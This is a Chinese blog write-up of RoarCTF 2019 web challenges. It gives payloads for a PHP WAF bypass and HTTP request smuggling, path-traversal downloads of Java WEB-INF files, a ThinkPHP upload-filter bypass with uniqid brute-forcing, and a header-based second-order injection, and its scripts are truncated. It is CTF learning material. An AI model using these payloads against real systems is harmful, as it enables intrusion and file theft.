roarctf2019复现记录
终于考完近代物理了…简单记录下这周复现的roarctf
Easy Calc
1 |
|
- 有waf不能输入字母,有两个绕过方法:
- 利用PHP的字符串解析特性Bypass
- 利用http请求走私,构造畸形的http包,使前端服务器(waf)直接把数据包发给后端服务器
- 接下来利用chr()绕过特殊字符的限制
- payload1(利用php字符串解析特性):
1
calc.php? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
- payload2(利用http请求走私):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16POST /calc.php?num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)) HTTP/1.1
Host: node3.buuoj.cn:28773
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: track_uuid=602df192-f40e-4803-e23d-7e541f2f9612
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Content-Length: 3
abcEasy Java
对java不是特别了解,通过这题学习一点基础的知识 - 弱口令admin:admin888 登录
- 在登陆界面的help会访问/Download?filename=help.docx,显示java.io.FileNotFoundException:{help.docx},可能是个文件下载的接口
- 把GET改为POST就可以成功下载文件
- 读取WEB-INF/web.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55HTTP/1.1 200 OK
Server: openresty
Date: Sat, 16 Nov 2019 15:19:11 GMT
Content-Type: application/xml
Content-Length: 1562
Connection: close
Content-Disposition: attachment;filename=WEB-INF/web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
</web-app> - 直接访问/Flag 显示http500
- 读取WEB-INF/classes/com/wm/ctf/FlagController.class
得到base64编码后的flag
Simple Upload
1 |
|
- 使用了thinkphp的上传类,查看thinkphp的代码会发现\Think\Upload类没有allowExts这一属性,所以这个限制直接可以无视
- 前面还限制了后缀不能为php
1
2
3if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
} - 查看thinkphp的手册可以发现多文件上传时只需要修改前端代码,\Think\Upload类会把所有文件都上传,而后缀的限制只针对$_FILES[‘file’]。因此可以上传多个文件绕过
- 文件上传后的名字默认由uniqid()生成,该函数是根据时间生成的,因此可以进行爆破
附上写的很烂的爆破脚本:
1 | import requests |
online_proxy
X-Forwarded-For头存在一个二次注入
1 | import requests |